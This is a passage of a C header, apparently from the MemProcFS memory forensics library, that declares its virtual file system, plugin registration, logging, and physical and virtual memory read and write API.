VMMDLL_SYSTEM_UNKNOWN_64 = 1, VMMDLL_SYSTEM_WINDOWS_64 = 2, VMMDLL_SYSTEM_UNKNOWN_32 = 3, VMMDLL_SYSTEM_WINDOWS_32 = 4, VMMDLL_SYSTEM_UNKNOWN_X64 = 1, // deprecated - do not use! VMMDLL_SYSTEM_WINDOWS_X64 = 2, // deprecated - do not use! VMMDLL_SYSTEM_UNKNOWN_X86 = 3, // deprecated - do not use! VMMDLL_SYSTEM_WINDOWS_X86 = 4 // deprecated - do not use! } VMMDLL_SYSTEM_TP; /* * Get a device specific option value. Please see defines VMMDLL_OPT_* for infor- * mation about valid option values. Please note that option values may overlap * between different device types with different meanings. * -- hVMM * -- fOption * -- pqwValue = pointer to ULONG64 to receive option value. * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_ConfigGet(_In_ VMM_HANDLE hVMM, _In_ ULONG64 fOption, _Out_ PULONG64 pqwValue); /* * Set a device specific option value. Please see defines VMMDLL_OPT_* for infor- * mation about valid option values. Please note that option values may overlap * between different device types with different meanings. * -- hVMM * -- fOption * -- qwValue * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_ConfigSet(_In_ VMM_HANDLE hVMM, _In_ ULONG64 fOption, _In_ ULONG64 qwValue); //----------------------------------------------------------------------------- // FORWARD DECLARATIONS: //----------------------------------------------------------------------------- typedef struct tdVMMDLL_MAP_PFN *PVMMDLL_MAP_PFN; //----------------------------------------------------------------------------- // LINUX SPECIFIC DEFINES: //----------------------------------------------------------------------------- #if defined(LINUX) || defined(MACOS) #define IMAGE_SIZEOF_SHORT_NAME 8 typedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; typedef struct _SERVICE_STATUS { DWORD dwServiceType; DWORD dwCurrentState; DWORD dwControlsAccepted; DWORD dwWin32ExitCode; DWORD dwServiceSpecificExitCode; DWORD dwCheckPoint; DWORD dwWaitHint; } SERVICE_STATUS, *LPSERVICE_STATUS; #endif /* LINUX || MACOS */ //----------------------------------------------------------------------------- // VFS - VIRTUAL FILE SYSTEM FUNCTIONALITY BELOW: // NB! VFS FUNCTIONALITY REQUIRES PLUGINS TO BE INITIALIZED // WITH CALL TO VMMDLL_InitializePlugins(). // This is the core of MemProcFS. All implementation and analysis towards // the virtual file system (vfs) is possible by using functionality below. //----------------------------------------------------------------------------- #define VMMDLL_STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define VMMDLL_STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) #define VMMDLL_STATUS_END_OF_FILE ((NTSTATUS)0xC0000011L) #define VMMDLL_STATUS_FILE_INVALID ((NTSTATUS)0xC0000098L) #define VMMDLL_STATUS_FILE_SYSTEM_LIMITATION ((NTSTATUS)0xC0000427L) #define VMMDLL_VFS_FILELIST_EXINFO_VERSION 1 #define VMMDLL_VFS_FILELIST_VERSION 2 #define VMMDLL_VFS_FILELISTBLOB_VERSION 0xf88f0001 typedef struct tdVMMDLL_VFS_FILELIST_EXINFO { DWORD dwVersion; BOOL fCompressed; // set flag FILE_ATTRIBUTE_COMPRESSED - (no meaning but shows gui artifact in explorer.exe) union { FILETIME ftCreationTime; // 0 = default time QWORD qwCreationTime; }; union { FILETIME ftLastAccessTime; // 0 = default time QWORD qwLastAccessTime; }; union { FILETIME ftLastWriteTime; // 0 = default time QWORD qwLastWriteTime; }; } VMMDLL_VFS_FILELIST_EXINFO, *PVMMDLL_VFS_FILELIST_EXINFO; typedef struct tdVMMDLL_VFS_FILELIST2 { DWORD dwVersion; VOID(*pfnAddFile) (_Inout_ HANDLE h, _In_ LPCSTR uszName, _In_ ULONG64 cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo); VOID(*pfnAddDirectory)(_Inout_ HANDLE h, _In_ LPCSTR uszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo); HANDLE h; } VMMDLL_VFS_FILELIST2, *PVMMDLL_VFS_FILELIST2; typedef struct tdVMMDLL_VFS_FILELISTBLOB_ENTRY { ULONG64 ouszName; // byte offset to string from VMMDLL_VFS_FILELISTBLOB.uszMultiText ULONG64 cbFileSize; // -1 == directory VMMDLL_VFS_FILELIST_EXINFO ExInfo; // optional ExInfo } VMMDLL_VFS_FILELISTBLOB_ENTRY, *PVMMDLL_VFS_FILELISTBLOB_ENTRY; typedef struct tdVMMDLL_VFS_FILELISTBLOB { DWORD dwVersion; // VMMDLL_VFS_FILELISTBLOB_VERSION DWORD cbStruct; DWORD cFileEntry; DWORD cbMultiText; union { LPSTR uszMultiText; QWORD _Reserved; }; DWORD _FutureUse[8]; VMMDLL_VFS_FILELISTBLOB_ENTRY FileEntry[0]; } VMMDLL_VFS_FILELISTBLOB, *PVMMDLL_VFS_FILELISTBLOB; /* * Helper functions for callbacks into the VMM_VFS_FILELIST2 structure. */ EXPORTED_FUNCTION VOID VMMDLL_VfsList_AddFile(_In_ HANDLE pFileList, _In_ LPCSTR uszName, _In_ ULONG64 cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo); VOID VMMDLL_VfsList_AddFileW(_In_ HANDLE pFileList, _In_ LPCWSTR wszName, _In_ ULONG64 cb, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo); EXPORTED_FUNCTION VOID VMMDLL_VfsList_AddDirectory(_In_ HANDLE pFileList, _In_ LPCSTR uszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo); VOID VMMDLL_VfsList_AddDirectoryW(_In_ HANDLE pFileList, _In_ LPCWSTR wszName, _In_opt_ PVMMDLL_VFS_FILELIST_EXINFO pExInfo); EXPORTED_FUNCTION BOOL VMMDLL_VfsList_IsHandleValid(_In_ HANDLE pFileList); /* * List a directory of files in MemProcFS. Directories and files will be listed * by callbacks into functions supplied in the pFileList parameter. * If information of an individual file is needed it's neccessary to list all * files in its directory. * -- hVMM * -- [uw]szPath * -- pFileList * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_VfsListU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR uszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList); _Success_(return) BOOL VMMDLL_VfsListW(_In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszPath, _Inout_ PVMMDLL_VFS_FILELIST2 pFileList); /* * List a directory of files in MemProcFS and return a VMMDLL_VFS_FILELISTBLOB. * CALLER FREE: VMMDLL_MemFree(return) * -- hVMM * -- uszPath * -- return */ EXPORTED_FUNCTION _Success_(return != NULL) PVMMDLL_VFS_FILELISTBLOB VMMDLL_VfsListBlobU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR uszPath); /* * Read select parts of a file in MemProcFS. * -- hVMM * -- [uw]szFileName * -- pb * -- cb * -- pcbRead * -- cbOffset * -- return * */ EXPORTED_FUNCTION NTSTATUS VMMDLL_VfsReadU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR uszFileName, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset); NTSTATUS VMMDLL_VfsReadW(_In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFileName, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset); /* * Write select parts to a file in MemProcFS. * -- hVMM * -- [uw]szFileName * -- pb * -- cb * -- pcbWrite * -- cbOffset * -- return */ EXPORTED_FUNCTION NTSTATUS VMMDLL_VfsWriteU(_In_ VMM_HANDLE hVMM, _In_ LPCSTR uszFileName, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset); NTSTATUS VMMDLL_VfsWriteW(_In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFileName, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset); /* * Utility functions for MemProcFS read/write towards different underlying data * representations. */ EXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromPBYTE(_In_ PBYTE pbFile, _In_ ULONG64 cbFile, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset); EXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromQWORD(_In_ ULONG64 qwValue, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset, _In_ BOOL fPrefix); EXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromDWORD(_In_ DWORD dwValue, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset, _In_ BOOL fPrefix); EXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsReadFile_FromBOOL(_In_ BOOL fValue, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset); EXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsWriteFile_BOOL(_Inout_ PBOOL pfTarget, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset); EXPORTED_FUNCTION NTSTATUS VMMDLL_UtilVfsWriteFile_DWORD(_Inout_ PDWORD pdwTarget, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset, _In_ DWORD dwMinAllow); //----------------------------------------------------------------------------- // PLUGIN MANAGER FUNCTIONALITY BELOW: // Function and structures to initialize and use MemProcFS plugin functionality. // The plugin manager is started by a call to function: // VMM_VfsInitializePlugins. Each built-in plugin and external plugin of which // the DLL name matches m_*.dll will receive a call to its InitializeVmmPlugin // function. The plugin/module may decide to call pfnPluginManager_Register to // register plugins in the form of different names one or more times. // Example of registration function in a plugin DLL below: // 'VOID InitializeVmmPlugin(_In_ VMM_HANDLE H, _In_ PVMM_PLUGIN_REGINFO pRegInfo)' //----------------------------------------------------------------------------- /* * Initialize all potential plugins, both built-in and external, that maps into * MemProcFS. Please note that plugins are not loaded by default - they have to * be explicitly loaded by calling this function. They will be unloaded on a * general close of the vmm dll. * -- hVMM * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_InitializePlugins(_In_ VMM_HANDLE hVMM); #define VMMDLL_PLUGIN_CONTEXT_MAGIC 0xc0ffee663df9301c #define VMMDLL_PLUGIN_CONTEXT_VERSION 5 #define VMMDLL_PLUGIN_REGINFO_MAGIC 0xc0ffee663df9301d #define VMMDLL_PLUGIN_REGINFO_VERSION 18 #define VMMDLL_FORENSIC_JSONDATA_VERSION 0xc0ee0002 #define VMMDLL_FORENSIC_INGEST_VIRTMEM_VERSION 0xc0dd0001 #define VMMDLL_FORENSIC_INGEST_OBJECT_VERSION 0xc0de0001 #define VMMDLL_PLUGIN_NOTIFY_VERBOSITYCHANGE 0x01 #define VMMDLL_PLUGIN_NOTIFY_REFRESH_FAST 0x05 // refresh fast event - at partial process refresh. #define VMMDLL_PLUGIN_NOTIFY_REFRESH_MEDIUM 0x02 // refresh medium event - at full process refresh. #define VMMDLL_PLUGIN_NOTIFY_REFRESH_SLOW 0x04 // refresh slow event - at registry refresh. #define VMMDLL_PLUGIN_NOTIFY_FORENSIC_INIT 0x01000100 #define VMMDLL_PLUGIN_NOTIFY_FORENSIC_INIT_COMPLETE 0x01000200 #define VMMDLL_PLUGIN_NOTIFY_VM_ATTACH_DETACH 0x01000400 typedef DWORD VMMDLL_MODULE_ID; typedef HANDLE *PVMMDLL_PLUGIN_INTERNAL_CONTEXT; typedef struct tdVMMDLL_CSV_HANDLE *VMMDLL_CSV_HANDLE; #define VMMDLL_MID_MAIN ((VMMDLL_MODULE_ID)0x80000001) #define VMMDLL_MID_PYTHON ((VMMDLL_MODULE_ID)0x80000002) #define VMMDLL_MID_DEBUG ((VMMDLL_MODULE_ID)0x80000003) #define VMMDLL_MID_RUST ((VMMDLL_MODULE_ID)0x80000004) typedef struct tdVMMDLL_PLUGIN_CONTEXT { ULONG64 magic; WORD wVersion; WORD wSize; DWORD dwPID; PVOID pProcess; LPSTR uszModule; LPSTR uszPath; PVOID pvReserved1; PVMMDLL_PLUGIN_INTERNAL_CONTEXT ctxM; // optional internal module context. VMMDLL_MODULE_ID MID; } VMMDLL_PLUGIN_CONTEXT, *PVMMDLL_PLUGIN_CONTEXT; typedef struct tdVMMDLL_FORENSIC_JSONDATA { DWORD dwVersion; // must equal VMMDLL_FORENSIC_JSONDATA_VERSION DWORD _FutureUse; LPSTR szjType; // log type/name (json encoded) DWORD i; DWORD dwPID; QWORD vaObj; BOOL fva[2]; // log va even if zero QWORD va[2]; BOOL fNum[2]; // log num even if zero QWORD qwNum[2]; BOOL fHex[2]; // log hex even if zero QWORD qwHex[2]; // str: will be prioritized in order: szu > wsz. LPCSTR usz[2]; // str: utf-8 encoded LPCWSTR wsz[2]; // str: wide BYTE _Reserved[0x4000+256]; } VMMDLL_FORENSIC_JSONDATA, *PVMMDLL_FORENSIC_JSONDATA; typedef enum tdVMMDLL_FORENSIC_INGEST_OBJECT_TYPE { VMMDLL_FORENSIC_INGEST_OBJECT_TYPE_FILE = 1, } VMMDLL_FORENSIC_INGEST_OBJECT_TYPE; typedef struct tdVMMDLL_FORENSIC_INGEST_OBJECT { OPAQUE_OB_HEADER _Reserved; DWORD dwVersion; // must equal VMMDLL_FORENSIC_INGEST_OBJECT_VERSION VMMDLL_FORENSIC_INGEST_OBJECT_TYPE tp; QWORD vaObject; LPSTR uszText; PBYTE pb; DWORD cb; DWORD cbReadActual; // actual bytes read (may be spread out in pb) } VMMDLL_FORENSIC_INGEST_OBJECT, *PVMMDLL_FORENSIC_INGEST_OBJECT; typedef struct tdVMMDLL_FORENSIC_INGEST_PHYSMEM { BOOL fValid; QWORD pa; DWORD cb; PBYTE pb; DWORD cMEMs; PPMEM_SCATTER ppMEMs; PVMMDLL_MAP_PFN pPfnMap; } VMMDLL_FORENSIC_INGEST_PHYSMEM, *PVMMDLL_FORENSIC_INGEST_PHYSMEM; typedef struct tdVMMDLL_FORENSIC_INGEST_VIRTMEM { OPAQUE_OB_HEADER _Reserved; DWORD dwVersion; // must equal VMMDLL_FORENSIC_INGEST_VIRTMEM_VERSION BOOL fPte; BOOL fVad; PVOID pvProcess; DWORD dwPID; QWORD va; PBYTE pb; DWORD cb; DWORD cbReadActual; // actual bytes read (may be spread out in pb) } VMMDLL_FORENSIC_INGEST_VIRTMEM, *PVMMDLL_FORENSIC_INGEST_VIRTMEM; typedef struct tdVMMDLL_PLUGIN_REGINFO { ULONG64 magic; // VMMDLL_PLUGIN_REGINFO_MAGIC WORD wVersion; // VMMDLL_PLUGIN_REGINFO_VERSION WORD wSize; // size of struct VMMDLL_MEMORYMODEL_TP tpMemoryModel; VMMDLL_SYSTEM_TP tpSystem; HMODULE hDLL; BOOL(*pfnPluginManager_Register)(_In_ VMM_HANDLE H, struct tdVMMDLL_PLUGIN_REGINFO *pPluginRegInfo); LPSTR uszPathVmmDLL; DWORD _Reserved[30]; // python plugin information - not for general use struct { BOOL fPythonStandalone; DWORD _Reserved; HMODULE hReservedDllPython3; HMODULE hReservedDllPython3X; } python; // general plugin registration info to be filled out by the plugin below: struct { PVMMDLL_PLUGIN_INTERNAL_CONTEXT ctxM; // optional internal module context [must be cleaned by pfnClose() call]. CHAR uszPathName[128]; BOOL fRootModule; BOOL fProcessModule; BOOL fRootModuleHidden; BOOL fProcessModuleHidden; CHAR sTimelineNameShort[6]; CHAR _Reserved[2]; CHAR uszTimelineFile[32]; CHAR _Reserved2[32]; } reg_info; // function plugin registration info to be filled out by the plugin below: struct { BOOL(*pfnList)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _Inout_ PHANDLE pFileList); NTSTATUS(*pfnRead)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ ULONG64 cbOffset); NTSTATUS(*pfnWrite)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_reads_(cb) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbWrite, _In_ ULONG64 cbOffset); VOID(*pfnNotify)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_ DWORD fEvent, _In_opt_ PVOID pvEvent, _In_opt_ DWORD cbEvent); VOID(*pfnClose)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP); BOOL(*pfnVisibleModule)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP); PVOID pvReserved[10]; } reg_fn; // Optional forensic plugin functionality for forensic (more comprehensive) // analysis of various data. Functions are optional. // Functions are called in the below order and way. // 1: pfnInitialize() - multi-threaded (between plugins). // 2: (multiple types see below) - multi-threaded (between plugins). // pfnLogCSV() // pfnLogJSON() // pfnFindEvil() // pfnIngestPhysmem() // pfnIngestVirtmem() // 3. pfnIngestFinalize() - single-threaded. (pfnLogCSV/pfnLogJSON/pfnFindEvil may still be active). // 4. pfnTimeline() - single-threaded. (pfnLogCSV/pfnLogJSON/pfnFindEvil may still be active). // 5. pfnFinalize() - single-threaded. struct { PVOID(*pfnInitialize)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP); VOID(*pfnFinalize)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc); VOID(*pfnTimeline)( _In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ HANDLE hTimeline, _In_ VOID(*pfnAddEntry)(_In_ VMM_HANDLE H, _In_ HANDLE hTimeline, _In_ QWORD ft, _In_ DWORD dwAction, _In_ DWORD dwPID, _In_ DWORD dwData32, _In_ QWORD qwData64, _In_ LPCSTR uszText), _In_ VOID(*pfnEntryAddBySql)(_In_ VMM_HANDLE H, _In_ HANDLE hTimeline, _In_ DWORD cEntrySql, _In_ LPCSTR *pszEntrySql)); VOID(*pfnIngestObject)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ PVMMDLL_FORENSIC_INGEST_OBJECT pIngestObject); VOID(*pfnIngestPhysmem)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ PVMMDLL_FORENSIC_INGEST_PHYSMEM pIngestPhysmem); VOID(*pfnIngestVirtmem)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc, _In_ PVMMDLL_FORENSIC_INGEST_VIRTMEM pIngestVirtmem); VOID(*pfnIngestFinalize)(_In_ VMM_HANDLE H, _In_opt_ PVOID ctxfc); VOID(*pfnFindEvil)(_In_ VMM_HANDLE H, _In_ VMMDLL_MODULE_ID MID, _In_opt_ PVOID ctxfc); PVOID pvReserved[6]; VOID(*pfnLogCSV)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_ VMMDLL_CSV_HANDLE hCSV); VOID(*pfnLogJSON)(_In_ VMM_HANDLE H, _In_ PVMMDLL_PLUGIN_CONTEXT ctxP, _In_ VOID(*pfnLogJSON)(_In_ VMM_HANDLE H, _In_ PVMMDLL_FORENSIC_JSONDATA pData)); } reg_fnfc; // Additional system information - read/only by the plugins. struct { BOOL f32; DWORD dwVersionMajor; DWORD dwVersionMinor; DWORD dwVersionBuild; DWORD _Reserved[32]; } sysinfo; } VMMDLL_PLUGIN_REGINFO, *PVMMDLL_PLUGIN_REGINFO; //----------------------------------------------------------------------------- // FORENSIC-MODE SPECIFIC FUNCTIONALITY BELOW: //----------------------------------------------------------------------------- /* * Append text data to a memory-backed forensics file. * All text should be UTF-8 encoded. * -- H * -- uszFileName * -- uszFormat * -- .. * -- return = number of bytes appended (excluding terminating null). */ EXPORTED_FUNCTION _Success_(return != 0) SIZE_T VMMDLL_ForensicFileAppend( _In_ VMM_HANDLE H, _In_ LPCSTR uszFileName, _In_z_ _Printf_format_string_ LPCSTR uszFormat, ... ); //----------------------------------------------------------------------------- // VMM LOG FUNCTIONALITY BELOW: // It's possible for external code (primarily external plugins) to make use of // the MemProcFS logging system. // ---------------------------------------------------------------------------- typedef enum tdVMMDLL_LOGLEVEL { VMMDLL_LOGLEVEL_CRITICAL = 1, // critical stopping error VMMDLL_LOGLEVEL_WARNING = 2, // severe warning error VMMDLL_LOGLEVEL_INFO = 3, // normal/info message VMMDLL_LOGLEVEL_VERBOSE = 4, // verbose message (visible with -v) VMMDLL_LOGLEVEL_DEBUG = 5, // debug message (visible with -vv) VMMDLL_LOGLEVEL_TRACE = 6, // trace message VMMDLL_LOGLEVEL_NONE = 7, // do not use! } VMMDLL_LOGLEVEL; /* * Log a message using the internal MemProcFS vmm logging system. Log messages * will be displayed/suppressed depending on current logging configuration. * -- hVMM * -- MID = module id supplied by plugin context PVMMDLL_PLUGIN_CONTEXT or * id given by VMMDLL_MID_*. * -- dwLogLevel * -- uszFormat * -- ... */ EXPORTED_FUNCTION VOID VMMDLL_Log( _In_ VMM_HANDLE hVMM, _In_opt_ VMMDLL_MODULE_ID MID, _In_ VMMDLL_LOGLEVEL dwLogLevel, _In_z_ _Printf_format_string_ LPCSTR uszFormat, ... ); /* * Log a message using the internal MemProcFS vmm logging system. Log messages * will be displayed/suppressed depending on current logging configuration. * -- hVMM * -- MID = module id supplied by plugin context PVMMDLL_PLUGIN_CONTEXT or * id given by VMMDLL_MID_*. * -- dwLogLevel * -- uszFormat * -- arglist */ EXPORTED_FUNCTION VOID VMMDLL_LogEx( _In_ VMM_HANDLE hVMM, _In_opt_ VMMDLL_MODULE_ID MID, _In_ VMMDLL_LOGLEVEL dwLogLevel, _In_z_ _Printf_format_string_ LPCSTR uszFormat, va_list arglist ); /* * Log callback function. * -- hVMM * -- MID = module id. * -- uszModule = module name. * -- dwLogLevel * -- uszLogMessage = log message in utf-8. */ typedef VOID(*VMMDLL_LOG_CALLBACK_PFN)(_In_ VMM_HANDLE hVMM, _In_ VMMDLL_MODULE_ID MID, _In_ LPCSTR uszModule, _In_ VMMDLL_LOGLEVEL dwLogLevel, _In_ LPCSTR uszLogMessage); /* * Register or unregister an optional log callback function. * When vmm logs an action which is visible according to current logging * configuration the registered callback function will be called with details. * To clear an already registered callback function specify NULL as pfnCB. * Callback logging will follow file logging configuration even if no log file * is specified when a callback function is registered. * -- hVMM * -- pfnCB * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_LogCallback(_In_ VMM_HANDLE hVMM, _In_opt_ VMMDLL_LOG_CALLBACK_PFN pfnCB); //----------------------------------------------------------------------------- // VMM CORE FUNCTIONALITY BELOW: // Vmm core functaionlity such as read (and write) to both virtual and physical // memory. NB! writing will only work if the target is supported - i.e. not a // memory dump file... // To read physical memory specify dwPID as (DWORD)-1 //----------------------------------------------------------------------------- #define VMMDLL_PID_PROCESS_WITH_KERNELMEMORY 0x80000000 // Combine with dwPID to enable process kernel memory (NB! use with extreme care). // FLAG used to supress the default read cache in calls to VMM_MemReadEx() // which will lead to the read being fetched from the target system always. // Cached page tables (used for translating virtual2physical) are still used. #define VMMDLL_FLAG_NOCACHE 0x0001 // do not use the data cache (force reading from memory acquisition device) #define VMMDLL_FLAG_ZEROPAD_ON_FAIL 0x0002 // zero pad failed physical memory reads and report success if read within range of physical memory. #define VMMDLL_FLAG_FORCECACHE_READ 0x0008 // force use of cache - fail non-cached pages - only valid for reads, invalid with VMM_FLAG_NOCACHE/VMM_FLAG_ZEROPAD_ON_FAIL. #define VMMDLL_FLAG_NOPAGING 0x0010 // do not try to retrieve memory from paged out memory from pagefile/compressed (even if possible) #define VMMDLL_FLAG_NOPAGING_IO 0x0020 // do not try to retrieve memory from paged out memory if read would incur additional I/O (even if possible). #define VMMDLL_FLAG_NOCACHEPUT 0x0100 // do not write back to the data cache upon successful read from memory acquisition device. #define VMMDLL_FLAG_CACHE_RECENT_ONLY 0x0200 // only fetch from the most recent active cache region when reading. #define VMMDLL_FLAG_NO_PREDICTIVE_READ 0x0400 // (deprecated/unused). #define VMMDLL_FLAG_FORCECACHE_READ_DISABLE 0x0800 // disable/override any use of VMMDLL_FLAG_FORCECACHE_READ. only recommended for local files. improves forensic artifact order. #define VMMDLL_FLAG_SCATTER_PREPAREEX_NOMEMZERO 0x1000 // do not zero out the memory buffer when preparing a scatter read. #define VMMDLL_FLAG_NOMEMCALLBACK 0x2000 // do not call user-set memory callback functions when reading memory (even if active). #define VMMDLL_FLAG_SCATTER_FORCE_PAGEREAD 0x4000 // force page-sized reads when using scatter functionality. /* * Read memory in various non-contigious locations specified by the pointers to * the items in the ppMEMs array. Result for each unit of work will be given * individually. No upper limit of number of items to read, but no performance * boost will be given if above hardware limit. Max size of each unit of work is * one 4k page (4096 bytes). Reads must not cross 4k page boundaries. Reads must * start at even DWORDs (4-bytes). * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- ppMEMs = array of scatter read headers. * -- cpMEMs = count of ppMEMs. * -- flags = optional flags as given by VMMDLL_FLAG_* * -- return = the number of successfully read items. */ EXPORTED_FUNCTION DWORD VMMDLL_MemReadScatter(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Inout_ PPMEM_SCATTER ppMEMs, _In_ DWORD cpMEMs, _In_ DWORD flags); /* * Write memory in various non-contigious locations specified by the pointers to * the items in the ppMEMs array. Result for each unit of work will be given * individually. No upper limit of number of items to write Max size of each * unit of work is one 4k page (4096 bytes). Writes must not cross 4k page boundaries. * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to write physical memory. * -- ppMEMs = array of scatter read headers. * -- cpMEMs = count of ppMEMs. * -- return = the number of hopefully successfully written items. */ EXPORTED_FUNCTION DWORD VMMDLL_MemWriteScatter(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Inout_ PPMEM_SCATTER ppMEMs, _In_ DWORD cpMEMs); /* * Read a single 4096-byte page of memory. * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- qwA * -- pbPage * -- return = success/fail (depending if all requested bytes are read or not). */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemReadPage(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _Inout_bytecount_(4096) PBYTE pbPage); /* * Read a contigious arbitrary amount of memory. * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- qwA * -- pb * -- cb * -- return = success/fail (depending if all requested bytes are read or not). */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemRead(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _Out_writes_(cb) PBYTE pb, _In_ DWORD cb); /* * Read a contigious amount of memory and report the number of bytes read in pcbRead. * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- qwA * -- pb * -- cb * -- pcbRead * -- flags = flags as in VMMDLL_FLAG_* * -- return = success/fail. NB! reads may report as success even if 0 bytes are * read - it's recommended to verify pcbReadOpt parameter. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemReadEx(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _Out_writes_(cb) PBYTE pb, _In_ DWORD cb, _Out_opt_ PDWORD pcbReadOpt, _In_ ULONG64 flags); /* * Prefetch a number of addresses (specified in the pA array) into the memory * cache. This function is to be used to batch larger known reads into local * cache before making multiple smaller reads - which will then happen from * the cache. Function exists for performance reasons. * -- hVMM * -- dwPID = PID of target process, (DWORD)-1 for physical memory. * -- pPrefetchAddresses = array of addresses to read into cache. * -- cPrefetchAddresses */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemPrefetchPages(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_reads_(cPrefetchAddresses) PULONG64 pPrefetchAddresses, _In_ DWORD cPrefetchAddresses); /* * Write a contigious arbitrary amount of memory. Please note some virtual memory * such as pages of executables (such as DLLs) may be shared between different * virtual memory over different processes. As an example a write to kernel32.dll * in one process is likely to affect kernel32 in the whole system - in all * processes. Heaps and Stacks and other memory are usually safe to write to. * Please take care when writing to memory! * -- hVMM * -- dwPID = PID of target process, (DWORD)-1 to read physical memory. * -- qwA * -- pb * -- cb * -- return = TRUE on success, FALSE on partial or zero write. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemWrite(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 qwA, _In_reads_(cb) PBYTE pb, _In_ DWORD cb); /* * Translate a virtual address to a physical address by walking the page tables * of the specified process. * -- hVMM * -- dwPID * -- qwVA * -- pqwPA * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemVirt2Phys(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, 